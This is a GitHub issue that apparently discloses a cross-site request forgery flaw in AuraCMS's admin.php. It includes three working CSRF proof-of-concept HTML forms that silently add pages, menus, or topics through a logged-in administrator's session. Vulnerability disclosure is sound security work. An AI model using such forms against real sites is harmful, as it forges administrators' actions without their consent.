Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

There is a cross-site request forgery vulnerability in admin.php #3

Open
FuryKangaroo opened this issue Aug 13, 2018 · 1 comment
Open

There is a cross-site request forgery vulnerability in admin.php #3

FuryKangaroo opened this issue Aug 13, 2018 · 1 comment

Comments

@FuryKangaroo
Copy link

FuryKangaroo commented Aug 13, 2018 •
edited
Loading

There is a cross-site request forgery vulnerability in admin.php?mod=users
It and can change administrator's password.
First:
After the administrator logged in,open the poc page.
Aura.txt to Aura.html --> 1.add page;2.add menu;3.Submit topic
1.add page
image
image
2.add menu
image
image
image
3.submit topic
image
image
4.CSRF POC:

<!--Add page-->
<html>
  <!-- CSRF PoC -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/06AuraCMS-master/admin.php?mod=content" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="title" value="1234567" />
      <input type="hidden" name="content" value="Success!!!" />
      <input type="hidden" name="submitpages" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--Add menu-->
<html>
  <!-- CSRF PoC-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/06AuraCMS-master/admin.php?mod=menu" method="POST">
      <input type="hidden" name="title" value="apple" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;apple&#46;com" />
      <input type="hidden" name="parentid" value="0" />
      <input type="hidden" name="position" value="top" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--Submit Topic-->
<html>
  <!-- CSRF PoC  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/06AuraCMS-master/admin.php?mod=content" method="POST">
      <input type="hidden" name="topic" value="topic" />
      <input type="hidden" name="submittopic" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Aura.txt
@FuryKangaroo
Copy link
Author

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@FuryKangaroo